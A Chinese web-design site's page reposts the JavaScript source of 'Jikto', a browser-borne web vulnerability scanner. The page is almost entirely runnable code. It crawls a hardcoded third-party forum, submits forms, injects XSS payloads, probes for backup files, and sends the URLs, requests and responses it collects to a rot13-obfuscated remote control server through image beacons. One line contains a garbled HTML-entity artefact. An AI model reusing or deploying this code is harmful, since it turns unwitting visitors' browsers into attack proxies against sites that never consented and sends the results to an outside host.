设为首页
加入收藏
帮助中心
首页 | 红盾通告 | 信息中心 | ASP技术 | 数据库 | 网页设计 | 网管专栏 | OICQ攻略 | 墨客频道 | 网站运营 |
当前位置:首页 >> 网页设计 >> Javascript >> 正文
最新信息
·Javascript处理数字的几个…
·判断当前网页是否为本站页…
·鼠标指上图片替换后出现下…
·逍遥狼无图片智能圆角
·javascript获取当前网页文…
·用javascript获得地址栏参…
·JavaScript常用判断函数
·双击鼠标滚动屏幕的代码
·web应用漏洞扫描工具Jikto…
·常备JS操作
资料搜索
热点信息
·js获取图片尺寸
·怎么让弹出窗口最大化
·web应用漏洞扫描工具Jikto…
·判断radio多个单选按纽中是…
·如何用文字做一个只刷新验…
·防止F5刷新执行onunload事…
·Javascript获取IE浏览器窗…
·关闭IE时调用onbeforeunlo…
·js表单提交验证
·javascript获取当前网页文…
推荐信息
·显示日期方式
·添加到收藏夹
·终极应用--弹出的窗口之Co…
·防止被人frame
·web应用漏洞扫描工具Jikto…
·JavaScript常用的一些验证…
·关闭IE时调用onbeforeunlo…
·js表单提交验证
·自己综合其他资料写的一套…
·window.open具体参数


Google
 
web应用漏洞扫描工具Jikto源代码
〖编辑:Cloudy | 浏览:人次〗

以下代码没有经过测试,请自行处理!

    function linkIsGood(l) {
        var lower = l.toLowerCase().substring(0,4);
        //this is stupid (could false pos), but effective
        if(lower == "java" || lower == "mail") {
            return false;
        }
           
        var tmpU = Url.resolveRelativeLink(currRequest.url, l);
        //do checks here
        if(!fileExtAllowed(tmpU)) {
            return false;
        }
        if(tmpU.hostname != startUrl.hostname) {
            return false;
        }
       
        if(tmpU.port != startUrl.port) {
            return false;
        }
        return true;
    }   
   
   
    function extractHREFsAsRequests(txt) {
        var pattern = /href\s*\=\s*(["'])([^'"]*)\1/gi;
       
        var links = new Array();
        var result;
        while( (result = pattern.exec(txt)) != null) {
            links.push(result[2]);
        }
       
        //refine what we RegExed out   
        var requests = new Array();
        var counter = 0;
        var linklen = links.length;
        for(; counter < linklen; counter++) {
            //clean out the prefix
            links[counter] = links[counter].replace(prefix,"");
            if(linkIsGood(links[counter])) {
                requests.push( Request.fromUrl( Url.resolveRelativeLink(currRequest.url, links[counter]) ));
            }
        }
       
        return requests;
    }
   
    function fileExtAllowed(u) {
        for(var i=0, bfl = badFiles.length; i < bfl; i++) {
            if(u.fileext.toLowerCase() == badFiles[i]) {
                return false;
            }
        }
        return true;
    }   

    function tagParser(text) {

        var PRENAME = 0;
        var INNAME = 1;
        var INPREVALUE = 2;
        var INVALUE = 3;

        var attribs = new Object();
   
   
        var curr = 0;
        var len = text.length;
       
        var c = "";
       
        var state = PRENAME;
       
       
        var buff = "";
        var name = "";
        var quoteChar = "";
       
        while(curr < text.length) {
       
            c = text.charAt(curr);
           
            switch(state) {
           
                case PRENAME:
                    switch(c) {
                   
                        case ' ':
                        case '\t':
                        case '\r':
                        case '\n':
                            curr++;
                            break;
                        default:
                            buff = c;
                            curr++;
                            state = INNAME;
                            break;
                    }
                    break;
           
           
                case INNAME:
                    switch(c) {
                        case '=':
                            //= so name is done
                            name = trim(buff).toLowerCase();
                            buff = "";
                            quoteChar = "";
                            curr++;
                            state = INPREVALUE;
                            break;
                        default:
                            buff += c;
                            curr++;
                            break;
                    }
                    break;
               
               case INPREVALUE:
                    switch(c) {
                        case ' ':
                        case '\t':
                            //ignore it
                            curr++;
                            break;
                        case "\'":
                        case "\"":
                            quoteChar = c;
                            curr++;
                            state = INVALUE;
                            break;
                        default:
                            //anything is a value
                            quoteChar = "";
                            buff += c;
                            curr++;
                            state = INVALUE;
                            break;
                    }
                    break;                   
                           
           
                 case INVALUE:
                    switch(c) {
                        case quoteChar:
                       
                            //all done!
                            attribs[name] = buff;
                            state = PRENAME;
                            curr++;
                            buff = "";
                            break;
                        case ' ':
                        case '\t':
                        case '\r':
                        case '\n':
                            if(quoteChar == "") {
                               
                                attribs[name] = buff;
                                state = PRENAME;
                                buff = "";
                            }
                            curr++;
                            break;
                        default:
                            buff += c;
                            curr++;
                            break;
                    }
                    break;             
           
            } //end switch
        } //end while
       
        var c = 10;
        return attribs;
    }

    function extractFormsAsRequests(txt) {


        var requests = new Array();

        var lowertxt = txt.toLowerCase();

        //RegEx and results for FORM search
        var pattern = /<form\s+([^>]+)/gi;
        var result;
       
        while( (result = pattern.exec(txt)) != null) {
           
            //parse out attributes for the form tag
            currForm = tagParser(result[1]);

            //setup something for the inputs           
            currForm.inputs = new Array();
           
            //find the "end" tag
            var endp = lowertxt.indexOf("</form", result.index+1);
           
            //grab all that text "inside" thos form
            var inner = txt.substring(result.index, endp);
           
            //grab all the inputs in the form
            var pattern2 = /<input\s+([^>]+)/gi;
            var result2;
            while( (result2 = pattern2.exec(inner)) != null) {
           
                //parse out the attributes
                currForm.inputs[currForm.inputs.length] = tagParser(result2[1]);
            }
           
            //needs some inputs and an action
            if(currForm.inputs.length > 0 && currForm.action != undefined) {
           
                if(linkIsGood(currForm.action)) {
           
                    var u = Url.resolveRelativeLink(currRequest.url, currForm.action);
           
                    if(currForm.method != undefined && currForm.method.toLowerCase() == "post") {
                        var req = Request.fromUrl(u);
                        req.method = "POST";
                        req.data = buildParamString(currForm.inputs);
                        requests[requests.length] = req;
                    } else {
                        u.queryParams = buildParamString(currForm.inputs);
                        requests[requests.length] = Request.fromUrl(u);
                    }
                }
            }
           
        }
       
        return requests;
       
    }

    function buildParamString(inps) {
   
        var ret = new Array();
       
        var seen = new Object();
       
        for(var i =0; i < inps.length; i++) {
            if(inps[i].name != undefined && seen[inps[i].name] == undefined) {
           
                seen[inps[i].name] = true;
           
                if(inps[i].value != undefined) {
                    ret[ret.length] = new NVPair(inps[i].name, inps[i].value);
                } else {
                    ret[ret.length] = new NVPair(inps[i].name, "admin");               
                }
            }
        }
        return ret;
    }


//------------------------------------------------------------------------------------ Attack Lib
//------------------------------------------------------------------------------------ Attack Lib
//------------------------------------------------------------------------------------ Attack Lib

function generateBackupAttacks(request) {

    var requests = new Array();

    var newreq = new cloneObject(request);
    newreq.url.filename += ".bak";
    newreq.url.queryParams = new Array();
    newreq.data = "";
    newreq.method = "GET";
    newreq.origin = "audit";
    newreq.title = "Backup File Detected!";
    newreq.sev = 50;
    newreq.regex = /HTTP\/1.1\s200\sOK/i;
   
    requests[requests.length] = newreq;

    var newreq = new cloneObject(request);
    newreq.url.filename += ".old";
    newreq.url.queryParams = new Array();
    newreq.data = "";
    newreq.method = "GET";
    newreq.origin = "audit";
    newreq.title = "Backup File Detected!";
    newreq.sev = 50;
    newreq.regex = /HTTP\/1.1\s200\sOK/i;
    requests[requests.length] = newreq;

    return requests;

}

function generatePPASSAttacks(request) {

    var requests = new Array();
   

    if(request.method == "GET" && request.url.queryParams.length > 0) {
   
        var newreq = new cloneObject(request);
       
        newreq.url.queryParams = new Array();
        for(var xxx=0; xxx < request.url.queryParams.length; xxx++) {
       
            newreq.url.queryParams[xxx] = new NVPair(request.url.queryParams[xxx].name,"<script>alert('xss')</script>");
       
       
        }
        newreq.origin = "audit";
        newreq.title = "Cross Site Scripting";
        newreq.sev = 100;
        newreq.regex = /script/i;
        requests[requests.length] = newreq;
    } else if(request.method == "POST") {
   
   
        var t = request.data.length > 0;
   
        var newreq = new cloneObject(request);
        newreq.url.queryParams = new Array();
        newreq.data = new Array();
       
            newreq.data[0] = new NVPair("admin", "<script>alert('xss')</script>");
            newreq.data[1] = new NVPair("password", "<script>alert('xss')</script>");
            newreq.data[2] = new NVPair("graphicOption", "<script>alert('xss')</script>");
       
        newreq.origin = "audit";
        newreq.title = "Cross Site Scripting";
        newreq.sev = 100;
        newreq.regex = /script/i;
        requests[requests.length] = newreq;
    }
   
    return requests;

}


//------------------------------------------------------------------------------------ Global Variables
//------------------------------------------------------------------------------------ Global Variables
//------------------------------------------------------------------------------------ Global Variables
 
    var currRequest = null;
    var currResponse = null;
 
 
    //startURL!
    var GUIURL = rot13("uggc://jjj.cragrfg.vg/wvxgb/pbageby.gkg");

//http://www.pentest.it/jikto/control.txt
//http://localhost/JiktoControl/Collect.aspx?type=
//uggc://ybpnyubfg/WvxgbPbageby/Pbyyrpg.nfck?glcr=
    var SLASH = String.fromCharCode(47);
   
    //prefix for our requests
    var prefix = window.location.pathname.substr(0,window.location.pathname.indexOf("http:", 7))
   
    //image extensions
    var badFiles = ["jpg", "jpeg", "gif", "png", "ico", "psd", "xcf", "xmb", "svg", "wmv", "bmp", "pdf", "ps", "doc", "dot", "xls", "pot", "ppt", "avi", "mpeg", "mpg", "asf", "mov", "wmv", "rm", "mp2", "mp3", "wma", "wav", "aiff", "aif", "mid", "midi", "mp4", "au", "ra", "exe", "pif", "bat", "msi", "swf", "class", "sh", "zip", "gz", "tar", "rar", "z", "jar", "cab", "rpm"];

    //our requestor!
    var xhr= new XMLHttpRequest();

//------------------------------------------------------------------------------------ GUI Interface
//------------------------------------------------------------------------------------ GUI Interface
//------------------------------------------------------------------------------------ GUI Interface

//alert("GUI");

    function reportURL(method, url) {
        var i = new Image();
        i.src = GUIURL + "1&url=" + escape(url) + "&method=" + escape(method); 
    }
   
    function reportVuln(method, url, sev, title, req, resp) {
        var i = new Image();
        i.src = GUIURL + "2&url=" + escape(url) + "&method=" + escape(method)+ "&sev=" + escape(sev) +"&title=" + escape(title) +"&req=" + escape(req) + "&resp=" + escape(resp);
    }   

//------------------------------------------------------------------------------------ Misc Funcs
//------------------------------------------------------------------------------------ Misc Funcs
//------------------------------------------------------------------------------------ Misc Funcs


    function cloneObject(what) {
        for (var i in what) {
       
            if(typeof(what[i]) == "object") {
                this[i] = new cloneObject(what[i]);
            } else {
                this[i] = what[i];
            }
        }
    }

    function rot13(txt) {
     
        var ret =""
        var len = txt.length;
           
        for(var i=0; i < len; i++) {
       
            var b = txt.charCodeAt(i);
            if( ((b>64) && (b<78)) || ((b>96) && (b<110)) ) {
                b +=13;
            } else if( ((b>77) && (b<91)) || ((b>109) && (b<123)) ) {
                b -=13;
            }
            ret += String.fromCharCode(b);
        }
        return ret;
    }

    function trim(s) {
       return s.replace(/^\s*(\S*(\s+\S+)*)\s*$/, "$1");
    }

//------------------------------------------------------------------------------------ Request
//------------------------------------------------------------------------------------ Request
//------------------------------------------------------------------------------------ Request

    function Request() {
   
        this.url = null;
        this.method = "";
        this.origin = "crawl";
        this.data = "";
       
        this.title = "xx";
        this.regex = "";
        this.sev = 0;
   
    }
   
    Request.fromUrl = function(u) {
   
        var ret = new Request();
        ret.url = u;
        ret.method = "GET";
        ret.origin = "crawl";
        return ret;
    }
   
    Request.prototype.getResource = function () {
        return this.url.toString();
    }
   
    Request.prototype.toString = function () {
       
        return String.concat(this.method, " ", this.getResource(), " HTTP/1.1");
    }

//------------------------------------------------------------------------------------ Response
//------------------------------------------------------------------------------------ Response
//------------------------------------------------------------------------------------ Response

    //create a response object from a completely returned XHR obj!
    function Response(x) {

        this.status = x.status;
        this.statusText = x.statusText;

        this.is404 = false;
       
        this.headersString = x.getAllResponseHeaders();
        //extract the headers into a hash table
        this.headers = new Object();
        var tmp = this.headersString.split("\n");
        var j;
        var k = ": ";
       
        for(var i =0; i < tmp.length; i++) {
            j = tmp[i].indexOf(k);
            if(j > 0) {
                this.headers[tmp[i].substring(0, j)] = tmp[i].substring(j + 2, tmp[i].length);
            }
        }
       
        this.body = x.responseText;
        return this;
           
    }

    function Response_toString() {
        var s="";
        var i;
        s = String.concat(s, "HTTP/1.1 ", this.status, " ", this.statusText, "\n");
       
        for (i in this.headers) {
           
            s = String.concat(s, i, ": ", this.headers[i], "\n");
        }

        s = String.concat(s, this.data);
        return s;
    }

    Response.prototype.toString = Response_toString;

//------------------------------------------------------------------------------------ Scanner
//------------------------------------------------------------------------------------ Scanner
//------------------------------------------------------------------------------------ Scanner
   
    var pending = new Object();
    var pendingLen = 0;
   
    var visited = new Object();
   
    function addRequest(r) {
   
        if(r  != undefined) {
   
            if(pending[r.toString()] == undefined) {
                if(visited[r.toString()] == undefined) {
                    pending[r.toString()] = r;
                    pendingLen++;
                    return true;
                }
            }
            return false;
        }
    }
     
    function processResponse() {
       
        // only if req shows "loaded"
        if (xhr.readyState == 4) {
            //send reponse off
           
            currResponse = new Response(xhr);
           
           
           
           
            if(currResponse.status == 200) {
                reportURL(currRequest.method, currRequest.getResource());
            }
           
            var requests = null;
           
            //grab any requests from HREFs
            requests = extractHREFsAsRequests(currResponse.body);
            var requests2 = extractFormsAsRequests(currResponse.body);
           
            if(requests2.length > 0) {
           
                requests = requests.concat(requests2);
            }
           
           if(requests.length > 0) {
           
                //bubble up the GUI and add them (if needed)
                for(var i =0; i < requests.length; i++)
                {
                    addRequest(requests[i]);
           
                    //================= Generate Attacks
                   
                    requests2 = generateBackupAttacks(requests[i]);
                   
                    //requests2 = (generatePPASSAttacks(requests[i]));
                    requests2 = requests2.concat(generatePPASSAttacks(requests[i]));
                   
                   
                    if(requests2.length > 0) {
                   
                        for(var k =0; k < requests2.length; k++)
                        {
                            addRequest(requests2[k]);
                        }
                   
                    }
                }
            }

            if(xhr.responseText.indexOf("xss") > 0) {
               
               
                reportVuln(currRequest.method, currRequest.getResource(), 100, "Cross Site Scripting", currRequest.toString(), currResponse.toString());
            }


           
           
            //==============score attacks here
            if(currRequest.origin == "audit") {
           
    &, nbsp;           if(currResponse.toString().match(currRequest.regex)) {
               
               
                    reportVuln(currRequest.method, currRequest.getResource(), currRequest.sev, currRequest.title, currRequest.toString(), currResponse.toString());
                }
               
           
           
            }
           
           
            sendNextRequest();
        }
    }
   
   
    function sendNextRequest() {
       
        if(pendingLen == 0) {
            //toGUI("Scan Complete!");
            return true;
        }

       //grab the first Request
        for(i in pending) {
            currRequest = pending[i];
            break;
        }
 
        //remove it from the queue       
        delete pending[currRequest.toString()];
        pendingLen--;
       
        //add it to visited
        visited[currRequest.toString()] = true;
       
        //clear out the old response obj
        currResponse = null;
       
        xhr = new XMLHttpRequest();

        var data = "";

        //register the handler function
        xhr.onreadystatechange = processResponse;

        xhr.open(currRequest.method, prefix + currRequest.getResource(), true);
       
        if(currRequest.method == "POST") {
       
            data = currRequest.data.join("&");
            xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xhr.setRequestHeader("Content-length", data.length);
            //http.setRequestHeader("Connection", "close");       
        }
       
        //add our magic header
        xhr.setRequestHeader('X-Hax0r', 'Acidus');

        xhr.send(data);
    }
   
//------------------------------------------------------------------------------------ URL Object
//------------------------------------------------------------------------------------ URL Object
//------------------------------------------------------------------------------------ URL Object

    function NVPair(n, v) {
        this.name = n;
        this.value = v;
       
        return this;
    }

    NVPair.prototype.toString = function() {
        return String.concat(escape(this.name), "=", escape(this.value));
    }
   
    function setParamValue(name, value, ar) {
   
        for (var yyy in ar.length) {
       
            if(ar[yyy].name != undefined) {
                if(ar[yyy].name == name) {
                    ar[yyy].value = value;
                    break;
                }
            }
        }
        return ar;   
    }
       
    function getParamArray(qs) {

        var ret = new Array();

        var nvp = qs.split("&");
        for(var i=0; i < nvp.length; i++) {

            var tmp = nvp[i].split("=");
            if(tmp.length == 1) {
                ret[ret.length] = new NVPair(unescape(tmp[0]), "");
            } else if(tmp.length == 2) {
                ret[ret.length] = new NVPair(unescape(tmp[0]), unescape(tmp[1]));
            }
        }
        return ret;
    }
   
    function Url(url) {
       
        this.protocol = "";

        this.hostname = "";
        this.port = "";
        this.path = "";
        this.filename="";   
        this.fileext="";
        this.frag ="";
       
        this.queryParams = new Array();
       
        if(arguments.length == 1) {
           
            var tmp;
            var rest;
            //grab the fraq
            tmp = url.split("#");
            rest = tmp[0];
            this.frag= (tmp.length > 1) ? unescape(String.concat("#",tmp[1])) : "";

            //grab the query string
            tmp = rest.split("?");
            rest = tmp[0];
           
            if(tmp.length > 1) {
                this.queryParams = getParamArray(tmp[1]);
            }
            //grab the protocol
            tmp = rest.split("//");
            if(tmp.length > 1) {
                tmp[0] = unescape(tmp[0]);
                this.protocol = tmp[0].substring(0,tmp[0].length-1).toLowerCase();             
                rest = tmp[1];
            } else {
                //alert("Invalid url \"" + url + "\"");
                throw "Invalid URL";
            }
           
            //grab the host
            tmp = rest.split(SLASH);
           
            if(tmp.length > 1) {
                //get rid of hostname
                this.hostname = unescape(tmp.shift()).toLowerCase();
               
                //only 1 thing left, which is the filename
                if(tmp.length == 1) {
                    this.filename = unescape(tmp[0]);
                    this.path = SLASH;
                } else {
                    //filename is at the end
                    this.filename = unescape(tmp.pop());
                    //recombine and add leading and trailing slashes
                   
                    for(var i =0; i < tmp.length; i++) {
                        tmp[i] = unescape(tmp[i]);
                    }
                   
                    for(var i = 0; i < tmp.length; i++) {
                       
                        if(tmp[i] == ".") {
                            tmp.splice(i, 1);
                            i = i -1;
                        } else if(tmp[i] == "..") {
                            if(i == 0) {
                                //more /../ than directories
                                //alert("Invalid url \"" + url + "\"");
                                throw "Invalid URL";
                            }
                            tmp.splice(i-1, 2);
                            i=i-2;
                        }
                    }
                    if(tmp.length >=1) {
                        this.path = String.concat(SLASH, tmp.join(SLASH), SLASH);
                    } else {
                        this.path = SLASH;
                    }
                }
            } else {
                this.hostname = unescape(tmp[0]);
                this.path = SLASH;           
            }
           
            //grab the port
            tmp = this.hostname.split(":");
            this.hostname = tmp[0];
            this.port = (tmp.length == 2) ? unescape(tmp[1]) : "";
           
            //be smart and fill in the port as needed
            if(this.port.length == 0) {
                if(this.protocol == "http")
                    this.port = "80";
                else
                    this.port = "443";
            }
           
            //grab the filename extension
            if(this.filename.length > 0) {
                tmp = this.filename.split(".");
                this.fileext = (tmp.length > 1) ? tmp.pop() : "";
            }
        }
        return this;

    }
   
    Url.prototype.addNV = function(name, value) {
        this.queryParams[this.queryParams.length] = new NVPair(name, value);
    }

    function Url_resolveRelativeLink(baseUrl, relativeLink) {

        if(typeof(baseUrl) == "string") {
            baseUrl = new Url(baseUrl);
        }

        //is it relative?
        if(unescape(relativeLink).indexOf("://") > 0) {
            return new Url(relativeLink);
        }
        //alert("BASE IS: " + baseUrl);
       
        var s;
        //set up our base
        s = String.concat(baseUrl.protocol,
                          "://",
                          baseUrl.hostname,
                          (baseUrl.port.length > 0) ? ":" + baseUrl.port : "");
        if(relativeLink.substring(0,1) == SLASH) {
            //link is relative to site root, so directly concat
           
            s = String.concat(s, relativeLink);
        } else {
            //link is relative to current path
           
            s = String.concat(s, baseUrl.path, relativeLink);
        }
       
        return new Url(s);
    }

    function Url_toString() {

        return String.concat(this.protocol,
                      "://",
                      this.hostname,
                      (this.port.length > 0) ? ":" + this.port : "",
                      this.path,
                      this.filename,
                      (this.queryParams.length > 0) ? "?" + this.queryParams.join("&") : "",
                      this.frag);

    }

    function Url_toStringNoPath() {

        return String.concat(this.protocol,
                      "://",
                      this.hostname,
                      (this.port.length > 0) ? ":" + this.port : "");
    }

    Url.prototype.toString = Url_toString;
    Url.prototype.toStringNoPath = Url_toStringNoPath;
    Url.resolveRelativeLink = Url_resolveRelativeLink;    
   
//-----------------------------------------------------------------------------------

//var startUrlString = rot13("uggc://mreb.jronccfrphevgl.pbz/");
var startUrlString = rot13("uggc://oynpxung-sbehzf.pbz/cucOO2/vaqrk.cuc");  //http://blackhat-forums.com/phpBB2/index.php   uggc://oynpxung-sbehzf.pbz/cucOO2/vaqrk.cuc
//var startUrlString = rot13("");
var startUrl = new Url(startUrlString);
//queue up first request
addRequest(Request.fromUrl(startUrl));
//let 'er rip!
sendNextRequest();


录入时间:2007-04-10 08:42:12 [打印本页] [关闭窗口] [返回顶部]
特别声明: 本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。

Copyright © 2006-2014 0733168.Com Inc All Rights Reserved
关于我们 | 广告合作 | 联系我们 | 法律声明 | 友情链接 | 意见反馈
本站所收录信息、社区话题、及本站所做之广告均属其个人行为,与本站立场无关
湘ICP备06008436号